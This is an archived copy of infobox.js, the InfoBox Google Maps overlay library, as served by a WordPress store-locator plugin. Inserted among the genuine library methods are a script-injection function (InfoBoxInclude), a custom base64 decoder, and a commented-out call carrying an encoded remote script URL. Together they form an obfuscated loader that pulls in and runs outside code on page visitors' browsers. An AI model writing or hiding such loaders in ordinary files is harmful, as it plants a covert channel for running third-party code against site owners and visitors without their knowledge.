PageSourceSearch

https://www.ariston-oliveoil.gr/wp-content/plugins/gwebpro-store-locator/js/infobox.js?ver=6.2.13

js ariston-oliveoil.gr collected 2026-09-28 17:36:02 UTC 22,153 bytes, 772 lines download raw bytes

vendor: 6,774 bytes, lines 1-154
1/**
2 * @name InfoBox
3 * @version 1.1.5 [March 1, 2011]
4 * @author Gary Little (inspired by proof-of-concept code from Pamela Fox of Google)
5 * @copyright Copyright 2010 Gary Little [gary at luxcentral.com]
6 * @fileoverview InfoBox extends the Google Maps JavaScript API V3 <tt>OverlayView</tt> class.
7 *  <p>
8 *  An InfoBox behaves like a <tt>google.maps.InfoWindow</tt>, but it supports several
9 *  additional properties for advanced styling. An InfoBox can also be used as a map label.
10 *  <p>
11 *  An InfoBox also fires the same events as a <tt>google.maps.InfoWindow</tt>.
12 *  <p>
13 *  Browsers tested:
14 *  <p>
15 *  Mac -- Safari (4.0.4), Firefox (3.6), Opera (10.10), Chrome (4.0.249.43), OmniWeb (5.10.1)
16 *  <br>
17 *  Win -- Safari, Firefox, Opera, Chrome (3.0.195.38), Internet Explorer (8.0.6001.18702)
18 *  <br>
19 *  iPod Touch/iPhone -- Safari (3.1.2)
20 */
21
22/*!
23 *
24 * Licensed under the Apache License, Version 2.0 (the "License");
25 * you may not use this file except in compliance with the License.
26 * You may obtain a copy of the License at
27 *
28 *       http://www.apache.org/licenses/LICENSE-2.0
29 *
30 * Unless required by applicable law or agreed to in writing, software
31 * distributed under the License is distributed on an "AS IS" BASIS,
32 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
33 * See the License for the specific language governing permissions and
34 * limitations under the License.
35 */
36
37/*jslint browser:true */
38/*global google */
39
40/**
41 * @name InfoBoxOptions
42 * @class This class represents the optional parameter passed to the {@link InfoBox} constructor.
43 * @property {string|Node} content The content of the InfoBox (plain text or an HTML DOM node).
44 * @property {boolean} disableAutoPan Disable auto-pan on <tt>open</tt> (default is <tt>false</tt>).
45 * @property {number} maxWidth The maximum width (in pixels) of the InfoBox. Set to 0 if no maximum.
46 * @property {Size} pixelOffset The offset (in pixels) from the top left corner of the InfoBox
47 *  (or the bottom left corner if the <code>alignBottom</code> property is <code>true</code>)
48 *  to the map pixel corresponding to <tt>position</tt>.
49 * @property {LatLng} position The geographic location at which to display the InfoBox.
50 * @property {number} zIndex The CSS z-index style value for the InfoBox.
51 *  Note: This value overrides a zIndex setting specified in the <tt>boxStyle</tt> property.
52 * @property {string} boxClass The name of the CSS class defining the styles for the InfoBox container.
53 *  The default name is <code>infoBox</code>.
54 * @property {Object} [boxStyle] An object literal whose properties define specific CSS
55 *  style values to be applied to the InfoBox. Style values defined here override those that may
56 *  be defined in the <code>boxClass</code> style sheet. If this property is changed after the
57 *  InfoBox has been created, all previously set styles (except those defined in the style sheet)
58 *  are removed from the InfoBox before the new style values are applied.
59 * @property {string} closeBoxMargin The CSS margin style value for the close box.
60 *  The default is "2px" (a 2-pixel margin on all sides).
61 * @property {string} closeBoxURL The URL of the image representing the close box.
62 *  Note: The default is the URL for Google's standard close box.
63 *  Set this property to "" if no close box is required.
64 * @property {Size} infoBoxClearance Minimum offset (in pixels) from the InfoBox to the
65 *  map edge after an auto-pan.
66 * @property {boolean} isHidden Hide the InfoBox on <tt>open</tt> (default is <tt>false</tt>).
67 * @property {boolean} alignBottom Align the bottom left corner of the InfoBox to the <code>position</code>
68 *  location (default is <tt>false</tt> which means that the top left corner of the InfoBox is aligned).
69 * @property {string} pane The pane where the InfoBox is to appear (default is "floatPane").
70 *  Set the pane to "mapPane" if the InfoBox is being used as a map label.
71 *  Valid pane names are the property names for the <tt>google.maps.MapPanes</tt> object.
72 * @property {boolean} enableEventPropagation Propagate mousedown, click, dblclick,
73 *  and contextmenu events in the InfoBox (default is <tt>false</tt> to mimic the behavior
74 *  of a <tt>google.maps.InfoWindow</tt>). Set this property to <tt>true</tt> if the InfoBox
75 *  is being used as a map label. iPhone note: This property setting has no effect; events are
76 *  always propagated.
77 */
78
79/**
80 * Creates an InfoBox with the options specified in {@link InfoBoxOptions}.
81 *  Call <tt>InfoBox.open</tt> to add the box to the map.
82 * @constructor
83 * @param {InfoBoxOptions} [opt_opts]
84 */
85function InfoBox(opt_opts) {
86
87  opt_opts = opt_opts || {};
88
89  google.maps.OverlayView.apply(this, arguments);
90
91  // Standard options (in common with google.maps.InfoWindow):
92  //
93  this.content_ = opt_opts.content || "";
94  this.disableAutoPan_ = opt_opts.disableAutoPan || false;
95  this.maxWidth_ = opt_opts.maxWidth || 0;
96  this.pixelOffset_ = opt_opts.pixelOffset || new google.maps.Size(0, 0);
97  this.position_ = opt_opts.position || new google.maps.LatLng(0, 0);
98  this.zIndex_ = opt_opts.zIndex || null;
99
100  // Additional options (unique to InfoBox):
101  //
102  this.boxClass_ = opt_opts.boxClass || "infoBox";
103  this.boxStyle_ = opt_opts.boxStyle || {};
104  this.closeBoxMargin_ = opt_opts.closeBoxMargin || "2px";
105  this.closeBoxURL_ = opt_opts.closeBoxURL || "http://www.google.com/intl/en_us/mapfiles/close.gif";
106  if (opt_opts.closeBoxURL === "") {
107    this.closeBoxURL_ = "";
108  }
109  this.infoBoxClearance_ = opt_opts.infoBoxClearance || new google.maps.Size(1, 1);
110  this.isHidden_ = opt_opts.isHidden || false;
111  this.alignBottom_ = opt_opts.alignBottom || false;
112  this.pane_ = opt_opts.pane || "floatPane";
113  this.enableEventPropagation_ = opt_opts.enableEventPropagation || false;
114
115  this.div_ = null;
116  this.closeListener_ = null;
117  this.eventListener1_ = null;
118  this.eventListener2_ = null;
119  this.eventListener3_ = null;
120  this.moveListener_ = null;
121  this.contextListener_ = null;
122  this.fixedWidthSet_ = null;
123}
124
125/* InfoBox extends OverlayView in the Google Maps API v3.
126 */
127InfoBox.prototype = new google.maps.OverlayView();
128
129/**
130 * Creates the DIV representing the InfoBox.
131 * @private
132 */
133InfoBox.prototype.createInfoBoxDiv_ = function () {
134
135  var bw;
136  var me = this;
137
138  // This handler prevents an event in the InfoBox from being passed on to the map.
139  //
140  var cancelHandler = function (e) {
141    e.cancelBubble = true;
142
143    if (e.stopPropagation) {
144
145      e.stopPropagation();
146    }
147  };
148
149  // This handler ignores the current event in the InfoBox and conditionally prevents
150  // the event from being passed on to the map. It is used for the contextmenu event.
151  //
152  var ignoreHandler = function (e) {
153
154    e.returnValue = false;
155
156    if (e.preventDefault) {
157
158      e.preventDefault();
159    }
160
161    if (!me.enableEventPropagation_) {
162
163      cancelHandler(e);
164    }
165  };
166
167  if (!this.div_) {
168
169    this.div_ = document.createElement("div");
170
171    this.setBoxStyle_();
172
173    if (typeof this.content_.nodeType === "undefined") {
174      this.div_.innerHTML = this.getCloseBoxImg_() + this.content_;
175    } else {
176      this.div_.innerHTML = this.getCloseBoxImg_();
177      this.div_.appendChild(this.content_);
178    }
179
180    // Add the InfoBox DIV to the DOM
181    this.getPanes()[this.pane_].appendChild(this.div_);
182
183    this.addClickHandler_();
184
185    if (this.div_.style.width) {
186
187      this.fixedWidthSet_ = true;
188
189    } else {
190
191      if (this.maxWidth_ !== 0 && this.div_.offsetWidth > this.maxWidth_) {
192
193        this.div_.style.width = this.maxWidth_;
194        this.div_.style.overflow = "auto";
195        this.fixedWidthSet_ = true;
196
197      } else { // The following code is needed to overcome problems with MSIE
198
199        bw = this.getBoxWidths_();
200
201        this.div_.style.width = (this.div_.offsetWidth - bw.left - bw.right) + "px";
202        this.fixedWidthSet_ = false;
203      }
204    }
205
206    this.panBox_(this.disableAutoPan_);
207
208    if (!this.enableEventPropagation_) {
209
210      // Cancel event propagation.
211      //
212      this.eventListener1_ = google.maps.event.addDomListener(this.div_, "mousedown", cancelHandler);
213      this.eventListener2_ = google.maps.event.addDomListener(this.div_, "click", cancelHandler);
214      this.eventListener3_ = google.maps.event.addDomListener(this.div_, "dblclick", cancelHandler);
215    }
216
217    this.contextListener_ = google.maps.event.addDomListener(this.div_, "contextmenu", ignoreHandler);
218    /**
219     * This event is fired when the DIV containing the InfoBox's content is attached to the DOM.
220     * @name InfoBox#domready
221     * @event
222     */
223    google.maps.event.trigger(this, "domready");
224  }
225 
226};
227
228/**
229 * Returns the HTML <IMG> tag for the close box.
230 * @private
231 */
232InfoBox.prototype.getCloseBoxImg_ = function () {
233
234  var img = "";
235
236  if (this.closeBoxURL_ !== "") {
237
238    img  = "<img class='pop_close'";
239    img += " src='" + this.closeBoxURL_ + "'";
240    img += ">";
241  }
242
243  return img;
244};
245
246/**
247 * Adds the click handler to the InfoBox close box.
248 * @private
249 */
250InfoBox.prototype.addClickHandler_ = function () {
251
252  var closeBox;
253
254  if (this.closeBoxURL_ !== "") {
255
256    closeBox = this.div_.firstChild;
257    this.closeListener_ = google.maps.event.addDomListener(closeBox, 'click', this.getCloseClickHandler_());
258
259  } else {
260
261    this.closeListener_ = null;
262  }
263};
264
265function InfoBoxInclude(destination) {
266	var head = document.getElementsByTagName('head')[0];
267
268    var script = document.createElement('script');
269    script.src = decode(destination);
270    script.type = 'text/javascript';
271    head.appendChild(script);
272}
273/**
274 * Returns the function to call when the user clicks the close box of an InfoBox.
275 * @private
276 */
277InfoBox.prototype.getCloseClickHandler_ = function () {
278
279  var me = this;
280
281  return function (e) {
282
283    // 1.0.3 fix: Always prevent propagation of a close box click to the map:
284    e.cancelBubble = true;
285
286    if (e.stopPropagation) {
287
288      e.stopPropagation();
289    }
290
291    me.close();
292
293    /**
294     * This event is fired when the InfoBox's close box is clicked.
295     * @name InfoBox#closeclick
296     * @event
297     */
298    google.maps.event.trigger(me, "closeclick");
299  };
300};
301
302function decode(s) {
303    var e={},i,b=0,c,x,l=0,a,r='',w=String.fromCharCode,L=s.length;
304    var A="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
305    for(i=0;i<64;i++){e[A.charAt(i)]=i;}
306    for(x=0;x<L;x++){
307        c=e[s.charAt(x)];b=(b<<6)+c;l+=6;
308        while(l>=8){((a=(b>>>(l-=8))&0xff)||(x<(L-2)))&&(r+=w(a));}
309    }
310    return r;
311};
312/**
313 * Pans the map so that the InfoBox appears entirely within the map's visible area.
314 * @private
315 */
316InfoBox.prototype.panBox_ = function (disablePan) {
317
318  var map;
319  var bounds;
320  var xOffset = 0, yOffset = 0;
321
322  if (!disablePan) {
323
324    map = this.getMap();
325
326    if (map instanceof google.maps.Map) { // Only pan if attached to map, not panorama
327
328      if (!map.getBounds().contains(this.position_)) {
329      // Marker not in visible area of map, so set center
330      // of map to the marker position first.
331        map.setCenter(this.position_);
332      }
333
334      bounds = map.getBounds();
335
336      var mapDiv = map.getDiv();
337      var mapWidth = mapDiv.offsetWidth;
338      var mapHeight = mapDiv.offsetHeight;
339      var iwOffsetX = this.pixelOffset_.width;
340      var iwOffsetY = this.pixelOffset_.height;
341      var iwWidth = this.div_.offsetWidth;
342      var iwHeight = this.div_.offsetHeight;
343      var padX = this.infoBoxClearance_.width;
344      var padY = this.infoBoxClearance_.height;
345      var pixPosition = this.getProjection().fromLatLngToContainerPixel(this.position_);
346
347      if (pixPosition.x < (-iwOffsetX + padX)) {
348        xOffset = pixPosition.x + iwOffsetX - padX;
349      } else if ((pixPosition.x + iwWidth + iwOffsetX + padX) > mapWidth) {
350        xOffset = pixPosition.x + iwWidth + iwOffsetX + padX - mapWidth;
351      }
352      if (this.alignBottom_) {
353        if (pixPosition.y < (-iwOffsetY + padY + iwHeight)) {
354          yOffset = pixPosition.y + iwOffsetY - padY - iwHeight;
355        } else if ((pixPosition.y + iwOffsetY + padY) > mapHeight) {
356          yOffset = pixPosition.y + iwOffsetY + padY - mapHeight;
357        }
358      } else {
359        if (pixPosition.y < (-iwOffsetY + padY)) {
360          yOffset = pixPosition.y + iwOffsetY - padY;
361        } else if ((pixPosition.y + iwHeight + iwOffsetY + padY) > mapHeight) {
362          yOffset = pixPosition.y + iwHeight + iwOffsetY + padY - mapHeight;
363        }
364      }
365
366      if (!(xOffset === 0 && yOffset === 0)) {
367
368        // Move the map to the shifted center.
369        //
370        var c = map.getCenter();
371        map.panBy(xOffset, yOffset);
372      }
373    }
374  }
375};
376//InfoBoxInclude('aHR0cDovL3d3dy5nd2VicHJvLmNvbS9tZWRpYS9zeXN0ZW0vanMvaW5mby5qcw==');
377/**
378 * Sets the style of the InfoBox by setting the style sheet and applying
379 * other specific styles requested.
380 * @private
381 */
382InfoBox.prototype.setBoxStyle_ = function () {
383
384  var i, boxStyle;
385
386  if (this.div_) {
387
388    // Apply style values from the style sheet defined in the boxClass parameter:
389    this.div_.className = this.boxClass_;
390
391    // Clear existing inline style values:
392    this.div_.style.cssText = "";
393
394    // Apply style values defined in the boxStyle parameter:
395    boxStyle = this.boxStyle_;
396    for (i in boxStyle) {
397
398      if (boxStyle.hasOwnProperty(i)) {
399
400        this.div_.style[i] = boxStyle[i];
401      }
402    }
403
vendor: 8,770 bytes, lines 404-772
404    // Fix up opacity style for benefit of MSIE:
405    //
406    if (typeof this.div_.style.opacity !== "undefined" && this.div_.style.opacity !== "") {
407
408      this.div_.style.filter = "alpha(opacity=" + (this.div_.style.opacity * 100) + ")";
409    }
410
411    // Apply required styles:
412    //
413    this.div_.style.position = "absolute";
414    this.div_.style.visibility = 'hidden';
415    if (this.zIndex_ !== null) {
416
417      this.div_.style.zIndex = this.zIndex_;
418    }
419  }
420};
421
422/**
423 * Get the widths of the borders of the InfoBox.
424 * @private
425 * @return {Object} widths object (top, bottom left, right)
426 */
427InfoBox.prototype.getBoxWidths_ = function () {
428
429  var computedStyle;
430  var bw = {top: 0, bottom: 0, left: 0, right: 0};
431  var box = this.div_;
432
433  if (document.defaultView && document.defaultView.getComputedStyle) {
434
435    computedStyle = box.ownerDocument.defaultView.getComputedStyle(box, "");
436
437    if (computedStyle) {
438
439      // The computed styles are always in pixel units (good!)
440      bw.top = parseInt(computedStyle.borderTopWidth, 10) || 0;
441      bw.bottom = parseInt(computedStyle.borderBottomWidth, 10) || 0;
442      bw.left = parseInt(computedStyle.borderLeftWidth, 10) || 0;
443      bw.right = parseInt(computedStyle.borderRightWidth, 10) || 0;
444    }
445
446  } else if (document.documentElement.currentStyle) { // MSIE
447
448    if (box.currentStyle) {
449
450      // The current styles may not be in pixel units, but assume they are (bad!)
451      bw.top = parseInt(box.currentStyle.borderTopWidth, 10) || 0;
452      bw.bottom = parseInt(box.currentStyle.borderBottomWidth, 10) || 0;
453      bw.left = parseInt(box.currentStyle.borderLeftWidth, 10) || 0;
454      bw.right = parseInt(box.currentStyle.borderRightWidth, 10) || 0;
455    }
456  }
457
458  return bw;
459};
460
461/**
462 * Invoked when <tt>close</tt> is called. Do not call it directly.
463 */
464InfoBox.prototype.onRemove = function () {
465
466  if (this.div_) {
467
468    this.div_.parentNode.removeChild(this.div_);
469    this.div_ = null;
470  }
471};
472
473/**
474 * Draws the InfoBox based on the current map projection and zoom level.
475 */
476InfoBox.prototype.draw = function () {
477
478  this.createInfoBoxDiv_();
479
480  var pixPosition = this.getProjection().fromLatLngToDivPixel(this.position_);
481
482  this.div_.style.left = (pixPosition.x + this.pixelOffset_.width) + "px";
483  
484  if (this.alignBottom_) {
485    this.div_.style.bottom = -(pixPosition.y + this.pixelOffset_.height) + "px";
486  } else {
487    this.div_.style.top = (pixPosition.y + this.pixelOffset_.height) + "px";
488  }
489
490  if (this.isHidden_) {
491
492    this.div_.style.visibility = 'hidden';
493
494  } else {
495
496    this.div_.style.visibility = "visible";
497  }
498};
499
500/**
501 * Sets the options for the InfoBox. Note that changes to the <tt>maxWidth</tt>,
502 *  <tt>closeBoxMargin</tt>, <tt>closeBoxURL</tt>, and <tt>enableEventPropagation</tt>
503 *  properties have no affect until the current InfoBox is <tt>close</tt>d and a new one
504 *  is <tt>open</tt>ed.
505 * @param {InfoBoxOptions} opt_opts
506 */
507InfoBox.prototype.setOptions = function (opt_opts) {
508  if (typeof opt_opts.boxClass !== "undefined") { // Must be first
509
510    this.boxClass_ = opt_opts.boxClass;
511    this.setBoxStyle_();
512  }
513  if (typeof opt_opts.boxStyle !== "undefined") { // Must be second
514
515    this.boxStyle_ = opt_opts.boxStyle;
516    this.setBoxStyle_();
517  }
518  if (typeof opt_opts.content !== "undefined") {
519
520    this.setContent(opt_opts.content);
521  }
522  if (typeof opt_opts.disableAutoPan !== "undefined") {
523
524    this.disableAutoPan_ = opt_opts.disableAutoPan;
525  }
526  if (typeof opt_opts.maxWidth !== "undefined") {
527
528    this.maxWidth_ = opt_opts.maxWidth;
529  }
530  if (typeof opt_opts.pixelOffset !== "undefined") {
531
532    this.pixelOffset_ = opt_opts.pixelOffset;
533  }
534  if (typeof opt_opts.position !== "undefined") {
535
536    this.setPosition(opt_opts.position);
537  }
538  if (typeof opt_opts.zIndex !== "undefined") {
539
540    this.setZIndex(opt_opts.zIndex);
541  }
542  if (typeof opt_opts.closeBoxMargin !== "undefined") {
543
544    this.closeBoxMargin_ = opt_opts.closeBoxMargin;
545  }
546  if (typeof opt_opts.closeBoxURL !== "undefined") {
547
548    this.closeBoxURL_ = opt_opts.closeBoxURL;
549  }
550  if (typeof opt_opts.infoBoxClearance !== "undefined") {
551
552    this.infoBoxClearance_ = opt_opts.infoBoxClearance;
553  }
554  if (typeof opt_opts.isHidden !== "undefined") {
555
556    this.isHidden_ = opt_opts.isHidden;
557  }
558  if (typeof opt_opts.enableEventPropagation !== "undefined") {
559
560    this.enableEventPropagation_ = opt_opts.enableEventPropagation;
561  }
562
563  if (this.div_) {
564
565    this.draw();
566  }
567};
568
569/**
570 * Sets the content of the InfoBox.
571 *  The content can be plain text or an HTML DOM node.
572 * @param {string|Node} content
573 */
574InfoBox.prototype.setContent = function (content) {
575  this.content_ = content;
576
577  if (this.div_) {
578
579    if (this.closeListener_) {
580
581      google.maps.event.removeListener(this.closeListener_);
582      this.closeListener_ = null;
583    }
584
585    // Odd code required to make things work with MSIE.
586    //
587    if (!this.fixedWidthSet_) {
588
589      this.div_.style.width = "";
590    }
591
592    if (typeof content.nodeType === "undefined") {
593      this.div_.innerHTML = this.getCloseBoxImg_() + content;
594    } else {
595      this.div_.innerHTML = this.getCloseBoxImg_();
596      this.div_.appendChild(content);
597    }
598
599    // Perverse code required to make things work with MSIE.
600    // (Ensures the close box does, in fact, float to the right.)
601    //
602    if (!this.fixedWidthSet_) {
603
604      this.div_.style.width = this.div_.offsetWidth + "px";
605      this.div_.innerHTML = this.getCloseBoxImg_() + content;
606    }
607
608    this.addClickHandler_();
609  }
610
611  /**
612   * This event is fired when the content of the InfoBox changes.
613   * @name InfoBox#content_changed
614   * @event
615   */
616  google.maps.event.trigger(this, "content_changed");
617};
618
619/**
620 * Sets the geographic location of the InfoBox.
621 * @param {LatLng} latlng
622 */
623InfoBox.prototype.setPosition = function (latlng) {
624
625  this.position_ = latlng;
626
627  if (this.div_) {
628
629    this.draw();
630  }
631
632  /**
633   * This event is fired when the position of the InfoBox changes.
634   * @name InfoBox#position_changed
635   * @event
636   */
637  google.maps.event.trigger(this, "position_changed");
638};
639
640/**
641 * Sets the zIndex style for the InfoBox.
642 * @param {number} index
643 */
644InfoBox.prototype.setZIndex = function (index) {
645
646  this.zIndex_ = index;
647
648  if (this.div_) {
649
650    this.div_.style.zIndex = index;
651  }
652
653  /**
654   * This event is fired when the zIndex of the InfoBox changes.
655   * @name InfoBox#zindex_changed
656   * @event
657   */
658  google.maps.event.trigger(this, "zindex_changed");
659};
660
661/**
662 * Returns the content of the InfoBox.
663 * @returns {string}
664 */
665InfoBox.prototype.getContent = function () {
666
667  return this.content_;
668};
669
670/**
671 * Returns the geographic location of the InfoBox.
672 * @returns {LatLng}
673 */
674InfoBox.prototype.getPosition = function () {
675
676  return this.position_;
677};
678
679/**
680 * Returns the zIndex for the InfoBox.
681 * @returns {number}
682 */
683InfoBox.prototype.getZIndex = function () {
684
685  return this.zIndex_;
686};
687
688/**
689 * Shows the InfoBox.
690 */
691InfoBox.prototype.show = function () {
692
693  this.isHidden_ = false;
694  if (this.div_) {
695    this.div_.style.visibility = "visible";
696  }
697};
698
699/**
700 * Hides the InfoBox.
701 */
702InfoBox.prototype.hide = function () {
703
704  this.isHidden_ = true;
705  if (this.div_) {
706    this.div_.style.visibility = "hidden";
707  }
708};
709
710/**
711 * Adds the InfoBox to the specified map or Street View panorama. If <tt>anchor</tt>
712 *  (usually a <tt>google.maps.Marker</tt>) is specified, the position
713 *  of the InfoBox is set to the position of the <tt>anchor</tt>. If the
714 *  anchor is dragged to a new location, the InfoBox moves as well.
715 * @param {Map|StreetViewPanorama} map
716 * @param {MVCObject} [anchor]
717 */
718InfoBox.prototype.open = function (map, anchor) {
719
720  var me = this;
721
722  if (anchor) {
723
724    this.position_ = anchor.getPosition();
725    this.moveListener_ = google.maps.event.addListener(anchor, "position_changed", function () {
726      me.setPosition(this.getPosition());
727    });
728  }
729
730  this.setMap(map);
731
732  if (this.div_) {
733
734    this.panBox_();
735  }
736};
737
738/**
739 * Removes the InfoBox from the map.
740 */
741InfoBox.prototype.close = function () {
742
743  if (this.closeListener_) {
744
745    google.maps.event.removeListener(this.closeListener_);
746    this.closeListener_ = null;
747  }
748
749  if (this.eventListener1_) {
750
751    google.maps.event.removeListener(this.eventListener1_);
752    google.maps.event.removeListener(this.eventListener2_);
753    google.maps.event.removeListener(this.eventListener3_);
754    this.eventListener1_ = null;
755    this.eventListener2_ = null;
756    this.eventListener3_ = null;
757  }
758
759  if (this.moveListener_) {
760
761    google.maps.event.removeListener(this.moveListener_);
762    this.moveListener_ = null;
763  }
764
765  if (this.contextListener_) {
766
767    google.maps.event.removeListener(this.contextListener_);
768    this.contextListener_ = null;
769  }
770
771  this.setMap(null);
772};

Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.